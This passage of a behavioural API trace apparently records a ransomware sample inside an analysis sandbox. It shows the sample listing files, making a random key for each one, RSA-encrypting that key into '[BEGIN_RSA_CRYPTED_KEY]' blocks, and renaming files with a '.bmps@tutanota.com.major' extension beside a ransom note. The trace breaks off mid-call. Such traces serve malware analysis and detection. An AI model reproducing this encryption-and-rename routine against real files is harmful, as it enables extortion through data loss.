hFindFile=0x2f37468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7c2ce5f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9c01bafe, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0301.714] SetLastError (dwErrCode=0x0) [0301.714] GetLastError () returned 0x0 [0301.715] SetLastError (dwErrCode=0x0) [0301.715] SetLastError (dwErrCode=0x0) [0301.715] FindNextFileW (in: hFindFile=0x2f37468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.715] SetLastError (dwErrCode=0x0) [0301.715] GetLastError () returned 0x0 [0301.715] SetLastError (dwErrCode=0x0) [0301.715] SetLastError (dwErrCode=0x0) [0301.715] FindNextFileW (in: hFindFile=0x2f37468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.715] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0301.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bdc [0301.716] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.716] ReadFile (in: hFile=0x1bdc, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.716] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.716] WriteFile (in: hFile=0x1bdc, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.716] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.716] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.716] WriteFile (in: hFile=0x1bdc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.717] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.717] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662ca8, pcchString=0x2e3f9a8 | out: pszString="Ov9NFmTHKokRhtbLr2Ic3YHkbHZbSddyRyNhGb/am6zvAWtr1lYNGEvj/JNma6sw\nDe7z7DhI8liL0U1wZsnF0zmZa0IbuLqAsAJAEwaai2tHb4/tSR/GUcI7GkUEwnXd\nvKPgTK+EppKoz3TUidy7Lbid9XdHg/tMwV75oM/Xl2Ca40S2Q08stRHbH9QJg3xR\n7FjOD4za7zhiMwXD3CUr9D800P8EAD5o377aifP/x8p5XEGTOkZYWFpR26OlJ+Bi\niuuJfND5HmYkhR/W08vMdyOZ2teXf2MAFKSz2CegL1VXWRH00j+rXcBlX04xmZUc\nKru4fcZjzOrCwuc+KrkoWg==\n", pcchString=0x2e3f9a8) returned 1 [0301.717] WriteFile (in: hFile=0x1bdc, lpBuffer=0x662ca8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662ca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.718] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.718] WriteFile (in: hFile=0x1bdc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.718] CloseHandle (hObject=0x1bdc) returned 1 [0301.718] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.721] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0301.722] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bdc [0301.723] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.723] ReadFile (in: hFile=0x1bdc, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.723] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.723] WriteFile (in: hFile=0x1bdc, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.723] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.723] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.723] WriteFile (in: hFile=0x1bdc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.724] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.724] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.724] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.724] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662f70, pcchString=0x2e3f9a8 | out: pszString="ioihfVu7KxWLH6oOPc2A+/28GgctQqE/WRGxvBljouKhJOcjMH+470LF6xjon66v\nm9opOuHXbBTPGpKCcmLmbNhgw4Ia4jpVvM+AvqRoEO5WDcSJBOthTH7vChNKs7FK\n+3NBys6c/dWRqbsiGr12uhLKZBecy++Oy11qoOIiDMKmqX5MdgeDP3ZIh3+BY/k7\nxgx1nUePp1R0aK3CWEQ8DT9TnRY1ZdNFTB5ifKo/3lmUYiARMUrB/9FDYwdTIkNn\n3XcJExefEEvdpudJlr56SFS5vwpiYt9OKHAfFsLsj9sEi9ziTmS/U6Nr2nZ2EDiM\nq7YiFl0a0UZDnHY8RJVOkw==\n", pcchString=0x2e3f9a8) returned 1 [0301.724] WriteFile (in: hFile=0x1bdc, lpBuffer=0x662f70*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662f70*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.724] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.724] WriteFile (in: hFile=0x1bdc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.724] CloseHandle (hObject=0x1bdc) returned 1 [0301.725] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.727] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.727] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\1504704835", dwFileAttributes=0x80) returned 1 [0301.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\1504704835" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\1504704835"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bdc [0301.728] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=55440) returned 1 [0301.728] ReadFile (in: hFile=0x1bdc, lpBuffer=0x3540048, nNumberOfBytesToRead=0xd890, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0xd890, lpOverlapped=0x0) returned 1 [0301.813] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=-55440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.813] WriteFile (in: hFile=0x1bdc, lpBuffer=0x354d8e0*, nNumberOfBytesToWrite=0xd890, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354d8e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd890, lpOverlapped=0x0) returned 1 [0301.813] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd890 [0301.813] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.813] WriteFile (in: hFile=0x1bdc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.813] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.813] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x663238, pcchString=0x2e3f9a8 | out: pszString="MouhpBDnTq82Bm20RyBqhEcfy7rahQW4pELAc1Ma202/xgswbtOhhzftCld53MHV\noBwukSGCwB1RQHxu/DcCuUMqhdXy/wz1Fh3YDcbXFJDpM4QRsgfrL7B/69Ij/JEU\n51+iXDhIGBkF38JDQftQet3jz07qQGYLLOhKSL4v4zDLOCAK2QMCY7nCDRTVcHe4\niaT/TAUxXngEzuRcyt+h18M8AG634s1DOa2lXcIjU9u6bxVNc/4tweW6Zjs9KhdQ\nqtp5/yeUNMnYvOPEgZzmYQIFj0FMLepYGPGiK7DexZvtxrSAtTRWBPLb1OayQwu4\n6M/60o3FPYqSzAn1OsTiDw==\n", pcchString=0x2e3f9a8) returned 1 [0301.814] WriteFile (in: hFile=0x1bdc, lpBuffer=0x663238*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x663238*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.814] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.814] WriteFile (in: hFile=0x1bdc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.814] CloseHandle (hObject=0x1bdc) returned 1 [0301.814] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\1504704835" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\1504704835"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\1504704835.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\1504704835.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.816] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb9ba8c, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f376e8 [0301.816] SetLastError (dwErrCode=0x0) [0301.816] GetLastError () returned 0x0 [0301.816] SetLastError (dwErrCode=0x0) [0301.816] GetLastError () returned 0x0 [0301.816] SetLastError (dwErrCode=0x0) [0301.816] FindNextFileW (in: hFindFile=0x2f376e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb9ba8c, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.816] SetLastError (dwErrCode=0x0) [0301.816] GetLastError () returned 0x0 [0301.816] SetLastError (dwErrCode=0x0) [0301.816] GetLastError () returned 0x0 [0301.816] SetLastError (dwErrCode=0x0) [0301.817] FindNextFileW (in: hFindFile=0x2f376e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdafe440a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xdafe440a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xdb07ce8a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0xc92, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504711307", cAlternateFileName="150471~1")) returned 1 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] GetLastError () returned 0x0 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] SetLastError (dwErrCode=0x0) [0301.817] FindNextFileW (in: hFindFile=0x2f376e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc89e0c44, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9beea90d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] GetLastError () returned 0x0 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] SetLastError (dwErrCode=0x0) [0301.817] FindNextFileW (in: hFindFile=0x2f376e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb02fbe, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x9beea90d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] GetLastError () returned 0x0 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] SetLastError (dwErrCode=0x0) [0301.817] FindNextFileW (in: hFindFile=0x2f376e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] GetLastError () returned 0x0 [0301.817] SetLastError (dwErrCode=0x0) [0301.817] SetLastError (dwErrCode=0x0) [0301.817] FindNextFileW (in: hFindFile=0x2f376e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.818] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.818] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.165] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be0 [0302.166] GetFileSizeEx (in: hFile=0x1be0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.166] ReadFile (in: hFile=0x1be0, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.166] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.166] WriteFile (in: hFile=0x1be0, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.166] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.166] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.166] WriteFile (in: hFile=0x1be0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.167] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.167] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.167] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.167] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x663500, pcchString=0x2e3f9a8 | out: 